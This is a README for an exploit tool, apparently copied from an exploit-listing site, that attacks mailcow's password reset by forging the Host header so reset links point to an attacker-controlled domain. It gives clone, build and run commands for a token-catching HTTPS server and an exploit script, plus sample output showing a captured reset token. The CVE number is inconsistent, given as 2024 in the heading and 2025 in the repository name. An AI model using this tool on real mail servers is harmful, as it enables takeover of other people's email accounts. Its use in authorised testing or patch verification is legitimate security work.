## https://sploitus.com/exploit?id=2658A47C-6A75-5137-A130-039BFB4ECB52
# CVE-2024-25198
mailcow: dockerized is an open source groupware/email suite based on docker. Prior to version 2025-01a, a vulnerability in mailcow's password reset functionality allows an attacker to manipulate the `Host HTTP` header to generate a password reset link pointing to an attacker-controlled domain. This can lead to account takeover if a user clicks the poisoned link.
## How works?
Sets up an https server to hear al requests and sends a POST Request to the website with the Host header with your selected . You can also use Burpsuite to send the request and get the Token in the server.
## Features
- HTTPS server that retrieves the Password Change Token
- Exploit script that attacks the website vulnerability.
- Fixed Everything and no longer requires openssl to work
## Prerequisites
- Go 1.16 or higher
## Server Script
```bash
git clone https://github.com/enzocipher/CVE-2025-25198.git
cd CVE-2025-25198
sudo go build -o https-server server.go
./https-server
```
## Exploit Script
```bash
go mod init exploit
go mod tidy
sudo go run exploit.go --base --username --host :
```
After waiting a bit the server will output the token that you can use :
```
Redirigiendo a: http://mi-dominio.com/reset-password?token=F53F8F-CC7A5B-E0CC4C-98680B-A72245
```